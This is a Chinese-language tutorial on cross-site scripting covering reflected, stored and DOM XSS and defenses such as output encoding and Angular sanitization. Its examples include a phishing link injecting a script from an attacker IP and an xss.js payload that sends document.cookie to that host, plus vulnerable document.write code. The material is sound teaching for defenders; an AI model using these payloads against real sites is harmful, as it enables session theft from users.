Skip to main content

跨站脚本(XSS)

Cross-site scripting (XSS) 是针对 Web 应用的一种攻击手法。攻击者通过向 Web 页面里插入脚本,当用户浏览该时,嵌入其中脚本会被执行,从而达到获取非法信息等目的。

类型#

  • Reflected XSS
  • Stored XSS
  • DOM XSS

区别#

主要的区别是恶意代码在哪里被注入。Reflected 和 Stored XSS 是服务端注入,恶意代码需要经过服务端端处理并返回到页面。 而 DOM XSS 是客户端注入,恶意代码是在运行时直接在客户端注入的,不经过服务端处理;Reflected 和 Stored XSS 的区别是前者的恶意代码没有存储在服务端而后者是存储的(存储的危害范围更大)。

Reflected XSS#

Reflected XSS 是向一个 HTTP 响应中注入浏览器可执行的代码。代码本身没有被存储在应用内,故此类攻击的只影响打开了恶意链接的用户。

示例#

proding.net 是攻击目标网站,攻击者想盗取该网站的用户 cookie,进而获得账户的用户权限。步骤如下:

  1. 攻击者找到(可以通过安全扫描工具)网站一个 Reflected XSS 漏洞。如:bbs 搜索服务把搜索结果和搜索关键字一起回显在页面上,但对关键字没有进行任何输入验证和输出无害化。
http://proding.net/bbs/search?keywork=XSS
  1. 攻击者设计一个场景诱导用户点击自己发布的恶意链接。如攻击者假冒 proding.net 官方向 proding.net 用户发送邮件(假设攻击者已经获取了邮件列表),邮件中包含了被篡改的链接。
//210.23.xxx.xxx  是攻击者的网站,用于存放攻击代码、接收盗取的信息。
//邮件内容
//链接的主体是 proding.net ,是用户信任的网站。对于大部分用户来说他们没有能力,也不会去甄别参数是否是一段恶意的代码。
查看安全相关的话题,<a href="<link>">请点击这里</a>
<link> : http://proding.net/bbs/search?keywork=<script src='http://210.23.xxx.xxx/js/xss.js'></script>>
//xss.js 内容
window.location.href='http://210.23.xxx.xxx/cookie/?cookie='+document.cookie;
  1. 用户点击了邮件中的恶意链接,用户的 cookies 被获取并发送给了攻击的网站。

    只能获取 proding.net 的 cookies,跨域获取 cookies 是不被浏览器允许的。

  2. 攻击者利用盗取 cookies 中的授权 token 登陆,进一步获取用户信息。

Stored XSS#

与 Reflected XSS 的原理是相同,但属于更加严重的攻击。 因为恶意的代码被存储在应用中,影响范围将波及整个应用的用户。

示例#

假设 proding.net 的发帖功能存在 Stored XSS 漏洞。攻击者如果在帖子的内容中埋入恶意代码,任何浏览此贴的用户都将成为受害者。

DOM XSS#

DOM XSS 漏洞是基于文档对象模型 Document Objeet Model 的一种漏洞。攻击者通过向客户端浏览器的 DOM 环境中注入恶意代码来达到攻击的目的。与 Reflected 和 Stored XSS 不同,恶意代码不包含在从服务端返回的 HTTP 响应中。

示例#

某网页通过 default 参数来决定下拉列表中默认选中的语言。攻击者通过注入恶意代码来盗取用户 cookies。

var index = document.location.href.indexOf("default=");
var defaultLanguage = document.location.href.substring(index + 8);
<select>
document.write("<option value= 1 >defaultLanguage</option>");
document.write("<option value= 2 >english</option>");
document.write("<option value= 3 >janpanese</option>");
document.write("<option value= 4 >korean</option>");
</select>
//正常访问
http://proding.net/somepage?default=chinese
//注入恶意代码,窃取 cookie
//和上面的例子一样,攻击者首先需要诱导用户点击被植入恶意代码的链接
<link> : http://proding.net/somepage?default=<script src='http://210.23.xxx.xxx/js/xss.js'></script>>
//xss.js 内容
window.location.href='http://210.23.xxx.xxx/cookie/?cookie='+document.cookie;

防范措施#

XSS 防御的方法有两种:输入验证(Input Validation)、输出无害化(Output Sanitization)。只要正确的实施了输出无害化就足以保证免受 XSS 的攻击,但由于 XSS 攻击是在不断发展的,未来可能会出现新的攻击方法,所以对输入数据进行合法性验证也是有必要的。

输入验证(Input Validation)#

对用户输入进行数据合法性验证,例如手机号码的文本框只允许填入数字,邮件的文本框只允许输入正确的邮件地址。这样可以减少一些恶意代码被输入的可能性。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,浏览器端进也需要行同样的验证。

输出无害化(Output Sanitization)#

正确的实施了输出无害化就足以保证免受 XSS 的攻击,规则如下:(OWASP Cheat Sheet: XSS Prevention) 0. 不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码。

  1. 在将不可信数据插入到 HTML 标签之间时,对这些数据进行 HTML Entity 编码。
  2. 在将不可信数据插入到 HTML 属性里时,对这些数据进行 HTML 属性编码。
  3. 在将不可信数据插入到 SCRIPT 里时,对这些数据进行 SCRIPT 编码。
  4. 在将不可信数据插入到 STYLE 属性里时,对这些数据进行 CSS 编码。
  5. 在将不可信数据插入到 HTML URL 里时,对这些数据进行 URL 编码。
  6. 使用富文本时,使用 XSS 规则引擎进行编码过滤。
为什么对不可信数据只进行 HTML 编码不行?#

网络上可以搜索到一些关于防御 XSS 的解决方案,核心的思想就是对所有的输出均进行 HTML 编码。这种方法对于放置到 HTML 页面 body 里以及HTML标签(TAG)的属性(attribute)里的不可信数据是足够防御XSS攻击了。但是,如果将 HTML 编码后的数据放到了 SCRIPT 标签里,甚至是 HTML 标签的事件处理属性里(如 onmouseover ),又或者是放到了CSS、URL里,XSS攻击依然会发生,HTML编码不起作用了。

HTML 编码规则#
& –> &amp;
< –> &lt;
> –> &gt;
” –> &quot;
‘ –> &#x27;
/ –> &#x2f;
示例#
// 注入代码
http://proding.net/?parameter1=javascript:alert(123)
// 对 parameter1 的值进行 HTML 编码后没有任何变化,注入的 script 仍然会执行
javascript:alert(123)
<a name="" onclick={%= parameter1%} ></a >

Web 框架下的 XSS#

Angular#

官方文档参照

为了系统性的防范XSS问题,Angular 默认把所有值都当做不可信任的。 当值从模板中以属性(Property)、DOM元素属性(Attribte)、CSS 类绑定或插值表达式等途径插入到 DOM 中的时候, Angular 将对这些值进行无害化处理(Sanitize),对不可信的值进行编码。

无害化处理示例#

//controller
var name = '" onmouseover="javascript:alert(123)';
//template
<a name="{{name}}" ui-sref="" class="ng-binding" ></a >
//攻击者预期的效果
<a name="" onmouseover="javascript:alert(123)" ui-sref="" class="ng-binding" ></a >
//实际浏览器中的效果,恶意代码中的双引号被转码了,成了字符串数据
<a name="&quot; onmouseover=&quot;javascript:alert(123)" ui-sref="" class="ng-binding" ></a >

Angular 框架下防御 XSS 小结#

  • 框架默认进行无害化处理,这方面开发者什么都不需要做
  • 使用离线模板编译器,避免使用动态模版(会绕过Angular自带的保护)机制,如不可避免需确保仔细阅读官方文档
  • 使用模版机制,避免直接与 DOM 交互( 在Angular 的防护范围之外),如不可避免需遵循输出无害化规则。
  • 如应用程序确实需要包含可执行的代码,禁用框架的无害化处理,可利用 DomSanitizer 服务。服务提供了 5 个方法:
bypassSecurityTrustHtml
bypassSecurityTrustScript
bypassSecurityTrustStyle
bypassSecurityTrustUrl
bypassSecurityTrustResourceUrl